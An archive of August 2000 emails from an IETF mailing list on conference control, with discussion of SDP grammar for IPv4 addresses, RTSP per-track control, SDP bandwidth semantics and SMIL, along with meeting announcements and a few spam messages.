Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA04783
	for confctrl-outgoing; Fri, 18 Aug 2000 08:02:20 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA04778
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 08:02:18 -0700 (PDT)
Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA20233
	for <confctrl@ISI.EDU>; Fri, 18 Aug 2000 08:03:23 -0700 (PDT)
Received: from ubiquity.net by ubiquity.net with ESMTP (8.8.8+Sun/25-eef)
	id QAA03318; Fri, 18 Aug 2000 16:01:21 +0100 (BST)
Message-ID: <399D4FC0.21E45976@ubiquity.net>
Date: Fri, 18 Aug 2000 16:01:20 +0100
From: James Undery <jundery@ubiquity.net>
X-Mailer: Mozilla 4.73 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Dr. Carsten Bormann" <cabo@tzi.org>
CC: manu@sasi.com, confctrl@ISI.EDU
Subject: Re: grammar for "multicast-address"
References: <NDBBLDHFKCPEPDKNKJBKMEGGEGAA.cabo@tzi.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



"Dr. Carsten Bormann" wrote:

>    decimal-uchar =       DIGIT
>                          | POS-DIGIT DIGIT
>                          | ("1" 2*(DIGIT))

The previous rule should be ("1" 2*2(DIGIT))

>
>                          | ("2" ("0"|"1"|"2"|"3"|"4") DIGIT)
>                          | ("2" "5" ("0"|"1"|"2"|"3"|"4"|"5"))
>
> Gruesse, Carsten


From confctrl-owner  Fri Aug 18 08:04:01 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA04810
	for confctrl-outgoing; Fri, 18 Aug 2000 08:04:01 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA04805
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 08:04:00 -0700 (PDT)
Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA20549
	for <confctrl@isi.edu>; Fri, 18 Aug 2000 08:05:08 -0700 (PDT)
Received: from ubiquity.net by ubiquity.net with ESMTP (8.8.8+Sun/25-eef)
	id QAA03609; Fri, 18 Aug 2000 16:02:51 +0100 (BST)
Message-ID: <399D501A.40758F55@ubiquity.net>
Date: Fri, 18 Aug 2000 16:02:50 +0100
From: James Undery <jundery@ubiquity.net>
X-Mailer: Mozilla 4.73 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: manu@sasi.com, sip@lists.bell-labs.com, confctrl@ISI.EDU,
        "Handley, Mark" <mjh@aciri.org>
Subject: Re: [SIP] ipv4 addresses in SDP
References: <Pine.LNX.4.21.0008180922210.1252-100000@pcg143.sasi.com> <399D4F32.5A9F79A0@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

> manu@sasi.com wrote:
> >
> > On Thu, 17 Aug 2000, Jonathan Rosenberg wrote:
>

> > >The BNF is correct. You need to examine complete production for
> > >decimal-uchar:
> > >
> > >>  decimal-uchar =       DIGIT
> > >>                          | POS-DIGIT DIGIT
> > >>                          | ("1" 2*(DIGIT))
> > >>                          | ("2" ("0"|"1"|"2"|"3"|"4") DIGIT)
> > >>                          | ("2" "5" ("0"|"1"|"2"|"3"|"4"|"5"))
> > >
>

>
> Oops, you're right. This BNF is wrong; it should be:
>
> ...
> | ("1" 2DIGIT)
> ...

Shouldn't this be | ("1" 2*2(DIGIT))

James Undery


From confctrl-owner  Fri Aug 18 08:16:28 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA05502
	for confctrl-outgoing; Fri, 18 Aug 2000 08:16:28 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA05497
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 08:16:26 -0700 (PDT)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA23678
	for <confctrl@isi.edu>; Fri, 18 Aug 2000 08:17:34 -0700 (PDT)
Received: from dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA08597;
	Fri, 18 Aug 2000 11:17:26 -0400 (EDT)
Message-ID: <399D5491.757540FA@dynamicsoft.com>
Date: Fri, 18 Aug 2000 11:21:53 -0400
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: James Undery <jundery@ubiquity.net>
CC: manu@sasi.com, sip@lists.bell-labs.com, confctrl@ISI.EDU,
        "Handley, Mark" <mjh@aciri.org>
Subject: Re: [SIP] ipv4 addresses in SDP
References: <Pine.LNX.4.21.0008180922210.1252-100000@pcg143.sasi.com> <399D4F32.5A9F79A0@dynamicsoft.com> <399D501A.40758F55@ubiquity.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



James Undery wrote:
> 
> > Oops, you're right. This BNF is wrong; it should be:
> >
> > ...
> > | ("1" 2DIGIT)
> > ...
> 
> Shouldn't this be | ("1" 2*2(DIGIT))

According to rfc2234:

> Specific Repetition                                  nRule
> 
>    A rule of the form:
> 
>         <n>element
> 
>    is equivalent to
> 
>         <n>*<n>element
> 
>    That is, exactly  <N>  occurrences  of <element>. Thus 2DIGIT is a
>    2-digit number, and 3ALPHA is a string of three alphabetic
>    characters.

Thus, Nelement and N*Nelement are the same.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

From confctrl-owner  Fri Aug 18 12:47:11 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA19330
	for confctrl-outgoing; Fri, 18 Aug 2000 12:47:11 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA19325
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 12:47:10 -0700 (PDT)
Received: from smtprch2.nortel.com (smtprch2.nortelnetworks.com [192.135.215.15])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id MAA12580
	for <confctrl@isi.edu>; Fri, 18 Aug 2000 12:48:19 -0700 (PDT)
Received: from zrchb200.us.nortel.com (actually zrchb200) 
          by smtprch2.nortel.com; Fri, 18 Aug 2000 14:42:43 -0500
Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <Q65J1NG3>; Fri, 18 Aug 2000 14:46:17 -0500
Message-ID: <F908F961B7CDD111BC720000F8073E43044A1D94@crchy271.us.nortel.com>
From: "Glenn Morrow" <gmorrow@nortelnetworks.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: What happened to SMIL?
Date: Fri, 18 Aug 2000 14:46:10 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0094C.F53883A0"
X-Orig: <gmorrow@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0094C.F53883A0
Content-Type: text/plain

Hello all,

Can someone please refresh my memory on the reasoning for what happened to
the SMIL work item and draft?

Thanks,

Glenn

------_=_NextPart_001_01C0094C.F53883A0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>What happened to SMIL?</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hello all,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Can someone please refresh my memory =
on the reasoning for what happened to the SMIL work item and =
draft?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Thanks,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Glenn</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0094C.F53883A0--

From confctrl-owner  Mon Aug 21 11:16:11 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA16851
	for confctrl-outgoing; Mon, 21 Aug 2000 11:16:11 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA16846
	for <confctrl@zephyr.isi.edu>; Mon, 21 Aug 2000 11:16:09 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id LAA03305
	for <confctrl@isi.edu>; Mon, 21 Aug 2000 11:17:19 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id OAA15890
	for <confctrl@isi.edu>; Mon, 21 Aug 2000 14:17:18 -0400 (EDT)
Message-ID: <39A1722E.C5C0881A@cs.columbia.edu>
Date: Mon, 21 Aug 2000 14:17:18 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Reminder: RTSP implementations list
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a reminder to send me updates for the RTSP implementations list
at http://www.cs.columbia.edu/~hgs/rtsp. 

Thank you.
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Aug 21 11:33:44 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA17761
	for confctrl-outgoing; Mon, 21 Aug 2000 11:33:44 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA17756
	for <confctrl@zephyr.isi.edu>; Mon, 21 Aug 2000 11:33:43 -0700 (PDT)
Received: from sophia.inria.fr (root@sophia.inria.fr [138.96.32.20])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id LAA07546
	for <confctrl@isi.edu>; Mon, 21 Aug 2000 11:34:53 -0700 (PDT)
Received: from w3.org by sophia.inria.fr (8.10.0/8.10.0) with ESMTP id e7LIYow22477 for <confctrl@isi.edu>; Mon, 21 Aug 2000 20:34:50 +0200 (MET DST)
X-Authentication-Warning: sophia.inria.fr: Host trux.inria.fr [138.96.249.67] claimed to be w3.org
Message-ID: <39A175C0.4BC47834@w3.org>
Date: Mon, 21 Aug 2000 20:32:32 +0200
From: Philipp Hoschka <ph@w3.org>
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Re: What happened to SMIL?
References: <F908F961B7CDD111BC720000F8073E43044A1D94@crchy271.us.nortel.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

what draft are you talking about - the following one ?

http://www.w3.org/AudioVideo/1998/08/draft-hoschka-smilsdp-01

Basically, I didn't do anything more on it, since i presented it
back in '98 - folks weren't very interested. It was never a 
"work item", so maybe you are talking about something else.

There has been some thinking about integrating sdp parameters
into SMIL in the work on the next version of SMIL (code-named
"SMIL Boston") - see the following document:

http://www.w3.org/TR/smil-boston/streaming-media-object.html

> Glenn Morrow a écrit :
> 
> Hello all,
> 
> Can someone please refresh my memory on the reasoning for what
> happened to the SMIL work item and draft?
> 
> Thanks,
> 
> Glenn

From confctrl-owner  Mon Aug 21 15:05:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA27022
	for confctrl-outgoing; Mon, 21 Aug 2000 15:05:24 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA27017
	for <confctrl@zephyr.isi.edu>; Mon, 21 Aug 2000 15:05:23 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id PAA02730
	for <confctrl@ISI.EDU>; Mon, 21 Aug 2000 15:06:33 -0700 (PDT)
Received: from cisco.com (ssh.cisco.com [171.69.10.34])
	by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id PAA02587
	for <confctrl@ISI.EDU>; Mon, 21 Aug 2000 15:06:02 -0700 (PDT)
Message-ID: <39A1A8C9.F2DAE8E9@cisco.com>
Date: Mon, 21 Aug 2000 18:10:17 -0400
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SDP bandwidth level - what level ?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Greetings

The SDP bandwidth line ("b=") specifies the proposed bandwidth to be
used by the session or media, however it's not clear what bandwidth
refers to here. Does it merely refer to the RTP payload itself, or does
it include RTP overhead, UDP overhead, IP, or even lower layers (RTP bw
calculations stop at the network layer) ?

Thanks

        Flemming

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Mon Aug 21 22:49:57 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA15442
	for confctrl-outgoing; Mon, 21 Aug 2000 22:49:57 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA15437
	for <confctrl@zephyr.isi.edu>; Mon, 21 Aug 2000 22:49:56 -0700 (PDT)
Received: from VisibilityFX (mid-tgn-nen-vty36.as.wcom.net [216.192.69.36])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id WAA17278
	for <confctrl@isi.edu>; Mon, 21 Aug 2000 22:50:59 -0700 (PDT)
Date: Mon, 21 Aug 2000 22:50:59 -0700 (PDT)
From: Political Affairs Resource Kit <rauch@visibilityfx.com>
To: <confctrl@ISI.EDU>
Message-Id: <419.436760.07570174rauch@visibilityfx.com>
Subject: Free, Interactive Refugees of the World 
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The Public Affairs Resource Center of VisibilityFX (www.visibilityfx.com/PARK) 
introduces the 
Refugees of the World Screensaver. This quick loading screensaver features a 
stunning 
animated digital image of the world with statistical data on refugees around the world. 
It also 
includes an interactive test center to test your knowledge about refugee issues. This 
screensaver 
is the first and only Refugee screensaver and its yours, free! Simply fill out the form at 
(www.visibilityfx.com/PARK) and you will immediately be taken to the download area.

As a kick off to its new Interactive web site VisibilityFX (www.visibilityFX.com) 
welcomes you to 
download the screensaver and while your at our site take a look around and observe 
the various 
services VisibilityFX can provide your organization. The site is very appealing, uses 
the latest 
technology, and features a wild Flash intro.


Again, enjoy the screensaver and we hope to hear from you soon.

This is a targeted mailing of VisibilityFX. If you have received this mailing in error or 
would like to 
be removed from the mailing list please send an email to remove@visibilityfx.com

VisibilityFX
2230 George C. Marshall Drive
729
Falls Church, VA 22043


From confctrl-owner  Mon Aug 28 07:16:40 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA25071
	for confctrl-outgoing; Mon, 28 Aug 2000 07:16:40 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA25066
	for <confctrl@zephyr.isi.edu>; Mon, 28 Aug 2000 07:16:38 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA18290;
	Mon, 28 Aug 2000 07:17:45 -0700 (PDT)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e7SEHhE12706;
	Mon, 28 Aug 2000 16:17:44 +0200 (MET DST)
Message-Id: <200008281417.e7SEHhE12706@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Mon, 28 Aug 2000 16:16:33 +0200
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Slides from last IETF
Cc: csp@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

we are still missing copies of slides from the presentations in the
MMUSIC WG at the last IETF from a number of people.  If you have not
done so already, please send a copy of your presentation (PowerPoint
preferred) to csp@isi.edu *and* jo@tzi.org.

If you are in doubt: it's ok to send them twice :-)

Thanks,
Joerg



From confctrl-owner  Mon Aug 28 08:21:15 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA27530
	for confctrl-outgoing; Mon, 28 Aug 2000 08:21:15 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA27525
	for <confctrl@zephyr.isi.edu>; Mon, 28 Aug 2000 08:21:14 -0700 (PDT)
Received: from smtp.kasenna.wan (smptout.kasenna.com [63.206.76.6] (may be forged))
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA06218
	for <confctrl@isi.edu>; Mon, 28 Aug 2000 08:22:27 -0700 (PDT)
Received: from kasenna.com ([10.10.0.51]) by smtp.kasenna.wan (980427.SGI.8.8.8/980728.SGI.AUTOCF) via ESMTP id IAA75579; Mon, 28 Aug 2000 08:16:32 -0700 (PDT)
Message-ID: <39AA82C4.3A48EA5F@kasenna.com>
Date: Mon, 28 Aug 2000 08:18:28 -0700
From: Ram Kordale <kordale@kasenna.com>
Organization: Kasenna
X-Mailer: Mozilla 4.7 [en] (X11; U; IRIX 6.2 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: rem-conf@es.net, confctrl@ISI.EDU
CC: Ram Kordale <kordale@kasenna.com>
Subject: RTSP: Aggregate vs non-aggregate control
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I have a question on what RTSP requires in the following scenario.

If a server responds to an RTSP DESCRIBE message with an SDP description
with an aggregate URL, what does the RTSP RFC say about control over
individual tracks. For example, could a client send PLAY and PAUSE
messages for individual tracks? Should a server be expected to deny such
a request?

I don't see why such requests cannot be made but the RFC has examples
that deny such requests.

Thanks.
Ram
-- 

Ram Kordale
Kasenna Inc.

From confctrl-owner  Mon Aug 28 11:33:23 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id LAA05357
	for confctrl-outgoing; Mon, 28 Aug 2000 11:33:23 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA05352
	for <confctrl@zephyr.isi.edu>; Mon, 28 Aug 2000 11:33:21 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id LAA03236
	for <confctrl@ISI.EDU>; Mon, 28 Aug 2000 11:34:34 -0700 (PDT)
Received: from robla350 ([172.22.101.226])
	by prognet.com (8.9.2/8.9.0) with ESMTP id LAA29864;
	Mon, 28 Aug 2000 11:34:40 -0700 (PDT)
Message-Id: <4.2.0.58.20000828113039.019d45d0@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Mon, 28 Aug 2000 11:34:21 -0700
To: Ram Kordale <kordale@kasenna.com>, rem-conf@es.net, confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: Re: RTSP: Aggregate vs non-aggregate control
Cc: Ram Kordale <kordale@kasenna.com>
In-Reply-To: <39AA82C4.3A48EA5F@kasenna.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There's nothing prohibiting a client from issuing PLAY and PAUSE on 
individual tracks, but to the best of my knowledge, there aren't any 
servers out there that implement per-track control on aggregate 
streams.  So, in the interest of interoperability, a client should be able 
to fall back to aggregate control in the cases where per-track control fails.

Rob


At 08:18 AM 8/28/00 -0700, Ram Kordale wrote:
>I have a question on what RTSP requires in the following scenario.
>
>If a server responds to an RTSP DESCRIBE message with an SDP description
>with an aggregate URL, what does the RTSP RFC say about control over
>individual tracks. For example, could a client send PLAY and PAUSE
>messages for individual tracks? Should a server be expected to deny such
>a request?
>
>I don't see why such requests cannot be made but the RFC has examples
>that deny such requests.
>
>Thanks.
>Ram
>--
>
>Ram Kordale
>Kasenna Inc.


From confctrl-owner  Tue Aug 29 07:29:02 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA18446
	for confctrl-outgoing; Tue, 29 Aug 2000 07:29:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA18439
	for <confctrl@zephyr.isi.edu>; Tue, 29 Aug 2000 07:29:00 -0700 (PDT)
Received: from rum.isi.edu (rum.isi.edu [128.9.160.237])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA10434
	for <confctrl@isi.edu>; Tue, 29 Aug 2000 07:30:13 -0700 (PDT)
From: Joe Touch <touch@ISI.EDU>
Received: (from touch@localhost)
	by rum.isi.edu (8.9.3/8.8.6) id HAA19256
	for confctrl@isi.edu; Tue, 29 Aug 2000 07:30:13 -0700 (PDT)
Date: Tue, 29 Aug 2000 07:30:13 -0700 (PDT)
Message-Id: <200008291430.HAA19256@rum.isi.edu>
To: confctrl@ISI.EDU
Subject: SIGCOMM live Internet MBone transmission
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


		     ACM SIGCOMM 2000 Conference
		Multicast transmission on the Internet
		   Wed August 30 - Fri Sept 1, 2000
		http://www.acm.org/sigcomm/sigcomm2000

SIGCOMM 2000 is the annual conference of the Special Interest Group on
Data Communication (SIGCOMM), a single-track, highly selective
conference with a technical program of 26 papers, tutorials by noted
instructors on the two days prior, and a work-in-progress poster
session and a social session on outrageous opinions. 

Multicast transmission on the Internet

We will multicast video and audio from the technical sessions of the
onference live on the Internet. The transmission will start Wednesday
August 30 at 9:00 and end Friday September 1 at 13:30. The local
timezone is CEST (GMT+2). See the conference program for time details
(URL above).

The conference can be received using the free Marratech player
software, as well as the standard MBone tools. Please visit
Marratech's web page for further technical information on the
transmission from SIGCOMM as well as download instructions for their
software. All URLs are provided at the SIGCOMM site above.


From confctrl-owner  Tue Aug 29 07:30:37 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA18630
	for confctrl-outgoing; Tue, 29 Aug 2000 07:30:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA18623
	for <confctrl@zephyr.isi.edu>; Tue, 29 Aug 2000 07:30:35 -0700 (PDT)
Received: from rum.isi.edu (rum.isi.edu [128.9.160.237])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA12149
	for <confctrl@isi.edu>; Tue, 29 Aug 2000 07:31:48 -0700 (PDT)
From: Joe Touch <touch@ISI.EDU>
Received: (from touch@localhost)
	by rum.isi.edu (8.9.3/8.8.6) id HAA20574
	for confctrl@isi.edu; Tue, 29 Aug 2000 07:31:48 -0700 (PDT)
Date: Tue, 29 Aug 2000 07:31:48 -0700 (PDT)
Message-Id: <200008291431.HAA20574@rum.isi.edu>
To: confctrl@ISI.EDU
Subject: SIGCOMM live Internet MBone transmission
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


		     ACM SIGCOMM 2000 Conference
		Multicast transmission on the Internet
		   Wed August 30 - Fri Sept 1, 2000
		http://www.acm.org/sigcomm/sigcomm2000

SIGCOMM 2000 is the annual conference of the Special Interest Group on
Data Communication (SIGCOMM), a single-track, highly selective
conference with a technical program of 26 papers, tutorials by noted
instructors on the two days prior, and a work-in-progress poster
session and a social session on outrageous opinions. 

Multicast transmission on the Internet

We will multicast video and audio from the technical sessions of the
onference live on the Internet. The transmission will start Wednesday
August 30 at 9:00 and end Friday September 1 at 13:30. The local
timezone is CEST (GMT+2). See the conference program for time details
(URL above).

The conference can be received using the free Marratech player
software, as well as the standard MBone tools. Please visit
Marratech's web page for further technical information on the
transmission from SIGCOMM as well as download instructions for their
software. All URLs are provided at the SIGCOMM site above.


From confctrl-owner  Tue Aug 29 19:42:23 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA18113
	for confctrl-outgoing; Tue, 29 Aug 2000 19:42:23 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA18108
	for <confctrl@zephyr.isi.edu>; Tue, 29 Aug 2000 19:42:22 -0700 (PDT)
Received: from gatekeeper.ncic.ac.cn ([159.226.41.188])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id TAA28184
	for <confctrl@isi.edu>; Tue, 29 Aug 2000 19:43:24 -0700 (PDT)
Received: from ncic.ac.cn ([159.226.39.135]) by gatekeeper.ncic.ac.cn
          (Netscape Messaging Server 3.6)  with ESMTP id AAA55FE
          for <confctrl@isi.edu>; Wed, 30 Aug 2000 10:25:29 +0800
Message-ID: <39ADC481.2D46F87F@ncic.ac.cn>
Date: Thu, 31 Aug 2000 10:35:46 +0800
From: "Zhuang Chao" <zhuang@gatekeeper.ncic.ac.cn>
Reply-To: zhuang@gatekeeper.ncic.ac.cn
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: (no subject)
Content-Type: multipart/mixed;
 boundary="------------7E7B05A9DDAA55E84F354052"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------7E7B05A9DDAA55E84F354052
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Subscribe

--------------7E7B05A9DDAA55E84F354052
Content-Type: text/x-vcard; charset=us-ascii;
 name="zhuang.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Zhuang Chao
Content-Disposition: attachment;
 filename="zhuang.vcf"

begin:vcard 
n:;
tel;home:86-10-62565533-8625
tel;work:86-10-62565533-5733
x-mozilla-html:FALSE
url:http://www.ict.ac.cn/
adr:;;;Beijing;;;
version:2.1
email;internet:zhuang@ncic.ac.cn
x-mozilla-cpt:;10608
fn:Zhuang Chao
end:vcard

--------------7E7B05A9DDAA55E84F354052--


From confctrl-owner  Wed Aug 30 01:08:00 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA29545
	for confctrl-outgoing; Wed, 30 Aug 2000 01:08:00 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA29491;
	Wed, 30 Aug 2000 01:07:42 -0700 (PDT)
Received: from sendflowersamerica.com ([206.168.43.194])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id BAA28821;
	Wed, 30 Aug 2000 01:08:33 -0700 (PDT)
From: sfaquestions@sendflowersamerica.com
Subject: FlowerFunds - Fund Raising Program
Date: Wed, 30 Aug 2000 01:24:53
